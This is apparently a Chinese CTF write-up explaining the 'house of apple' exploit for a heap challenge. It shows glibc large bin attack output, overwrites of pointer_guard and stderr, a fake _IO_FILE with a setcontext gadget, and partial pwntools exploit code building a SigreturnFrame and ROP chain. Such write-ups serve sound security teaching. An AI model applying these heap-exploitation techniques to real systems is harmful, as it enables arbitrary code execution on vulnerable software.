本题的漏洞利用方式为house of apple,这是一种基于large bin attack的_IO_FILE攻击方式。那么首先我们就需要了解large bin attack和_IO_FILE利用这两个基础知识。
前置知识1——高版本libc的large bin attack
large bin attack从2.23版本到2.35版本,一直是一种没有被解决的利用方式,在高版本的libc中,large bin attack的具体方式与低版本区别并不大,利用原理也是相同的。不过与2.23和2.27版本不同,2.30及以上版本在_int_malloc函数中对于large bin新增了两个检查:(截图来自这里)
Here is the target we want to overwrite (0x7ffc96dca630) : 0
First, we allocate a large chunk [p1] (0x564fd9bdc290) And another chunk to prevent consolidate
We also allocate a second large chunk [p2] (0x564fd9bdc6e0). This chunk should be smaller than [p1] and belong to the same large bin. Once again, allocate a guard chunk to prevent consolidate
Free the larger of the two --> [p1] (0x564fd9bdc290) Allocate a chunk larger than [p1] to insert [p1] into large bin
Free the smaller of the two --> [p2] (0x564fd9bdc6e0) At this point, we have one chunk in large bin [p1] (0x564fd9bdc290), and one chunk in unsorted bin [p2] (0x564fd9bdc6e0)
Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc96dca610)
Finally, allocate another chunk larger than [p2] (0x564fd9bdc6e0) to place [p2] (0x564fd9bdc6e0) into large bin Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest, the modified p1->bk_nextsize does not trigger any error Upon inserting [p2] (0x564fd9bdc6e0) into largebin, [p1](0x564fd9bdc290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x564fd9bdc6e0)
In out case here, target is now overwritten to address of [p2] (0x564fd9bdc6e0), [target] (0x564fd9bdc6e0) Target (0x7ffc96dca630) : 0x564fd9bdc6e0
large bin中有1个chunk,unsorted bin中有一个chunk(如果被链入到large bin中需要与前面的chunk链到一个bin中),且large bin中的比unsorted bin中的大。
可以修改large bin中chunk的bk_nextsize指针。
当我们分配一个大chunk使得unsorted bin中的chunk被链入到large bin时,由于原先的large bin chunk比这个chunk大,所以居于其后(对large bin链入过程不清楚的读者可以先看这里),这就绕过了添加的两个检查,能够成功将原large bin chunk中的bk_nextsize->fd_nextsize修改为新链入的chunk地址,即实现了任一地址写一个堆地址。
由于本题中的delete函数有UAF漏洞,因此我们只要show一个free chunk就能够轻松获取到libc和堆地址。因此进行一次large bin attack并不是什么难事。但关键在于,我们应该如何构造假的_IO_FILE结构体。注意,本题中使用了沙箱,我们不能直接调用system函数getshell,因此还需要借用setcontext函数。
typedefstruct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsignedlongint unused_vgetcpu_cache[2]; /* Bit 0: X86_FEATURE_1_IBT. Bit 1: X86_FEATURE_1_SHSTK. */ unsignedint feature_1; int __glibc_unused1; /* Reservation of some values for the TM ABI. */ void *__private_tm[4]; /* GCC split stack support. */ void *__private_ss; /* The lowest address of shadow stack, */ unsignedlonglongint ssp_base; /* Must be kept even if it is no longer used by glibc since programs, like AddressSanitizer, depend on the size of tcbhead_t. */ __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8]; } tcbhead_t;
这是tcbhead_t的声明,可以看到除了pointer_guard之外,这里面还定义有stack_guard,合理猜测这应该是用于canary。经过验证发现确实如此,函数开头的mov rax, fs:28h取的就是stack_guard的值。因此这里的fs:30h也就是pointer_guard的值。我们并不能读取原来的pointer_guard,但我们能通过large bin attack将这里的值修改为一个已知的值,这样我们就可以自行对想要执行的地址进行处理,经过_IO_cookie_read函数右移处理后变成正确的代码地址。那么tcbhead_t这个结构体在什么地方呢?实际上这个结构体并不在libc中,而是在紧邻libc低地址处的一块内存空间中(见下图),其与libc起始地址的偏移为-0x28c0。但这个值是在wp中的exp出现的,如果是我们自己做题,又应该如何获得这个值呢?前面提到pointer_guard与stack_guard相邻。我们在程序调试的时候可以将断点下在函数开头获取stack_guard的地方——mov rax, fs:0x28,获得stack_guard的值后再对内存空间进行搜索,这样就可以轻松找到tcbhead_t结构体了。
在本题中,我们可以通过large bin attack轻松修改这里的值,由此我们就可以在fake stderr+0xE8处写入处理后的地址值,然后就可以实现任意地址执行。由于本题开启了沙箱,因此这里容易想到跳转到一个称为pcop的gadget,由于在新版本libc中setcontext函数中对rsp赋值的地址不再由rdi取值,因此需要这一个gadget将rdx赋值,其中的rdi附近内存是我们可控的,因此通过这个gadget地址我们就可以控制rdx的值:
现在我们已经搞清楚了如何通过假的stderr实现任意代码执行,但我们应该如何替换stderr呢?前面提到,我们需要使用一次large bin attack修改pointer_guard的值,在这里,我们还需要再进行一次large bin attack直接修改stderr的值。注意到large bin的前32个bin所保存的chunk的大小差值为0x40,即大小在0x400~0x430的chunk保存在第一个large bin,而0x440~0x470则保存在第二个large bin中,两个相邻的bin中保存的最小chunk的大小之差为0x40。从本题可以分配的chunk大小可知,我们一共可以进行2次large bin attack,这两次攻击应发生在不同的bin中。
defadd_cat(index, size, content): io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu io.sendlineafter(b'plz input your cat choice:\n', b'1') io.sendlineafter(b'plz input your cat idx:\n', str(index).encode()) io.sendlineafter(b'plz input your cat size:\n', str(size).encode()) io.sendafter(b'plz input your content:\n', content)
defdelete_cat(index): io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu io.sendlineafter(b'plz input your cat choice:\n', b'2') io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
defshow_cat(index): io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu io.sendlineafter(b'plz input your cat choice:\n', b'3') io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
defedit_cat(index, content): io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu io.sendlineafter(b'plz input your cat choice:\n', b'4') io.sendlineafter(b'plz input your cat idx:\n', str(index).encode()) io.sendlineafter(b'plz input your content:\n', content)
# use SigReturn frame to set rsp and rcx frame = SigreturnFrame() frame.rsp = heap_base + 0x28F0 + 0x300 frame.rip = pop_rdi + 1 payload += flat(frame)[0x28:] payload = payload.ljust(0x300, b'\x00')
# construct ROP chain # close the stdin, and it will reopen automatically payload += p64(pop_rdi) payload += p64(0) payload += p64(base + libc.symbols['close'])
# delete_cat(11) edit_cat(7, p64(base + 0x21A0E0) * 2 + p64(0) + p64(base + libc.symbols['stderr'] - 0x20) + p64(0) + p64(0x201)) io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu io.sendlineafter(b'plz input your cat choice:\n', b'1') io.sendlineafter(b'plz input your cat idx:\n', b'15') # gdb.attach(io) # time.sleep(1) io.sendlineafter(b'plz input your cat size:\n', b'1129') io.interactive()
前面的交互就不用说了,首先是释放chunk 1和4获取到libc和heap地址,并顺便使用0x400~0x430的large bin的large bin attack修改tcbhead_t结构体中的pointer_guard。pcop变量就是前面提到的pcop地址,encrypted_addr就是处理后的地址,经过_IO_cookie_read函数处理后能够变成pcop地址。
在payload中首先是_IO_FILE结构体,可以使用pwntools自带的FileStructure类进行声明,如果需要将其转为字节可使用bytes()函数进行处理。这里需要注意我们舍去了_IO_FILE的前0x10字节,因为large bin attack只能够将chunk地址写到stderr中,在可写头前面还有prev_size和size字段,为了保证对齐,需要舍弃_IO_FILE结构体的前0x10字节。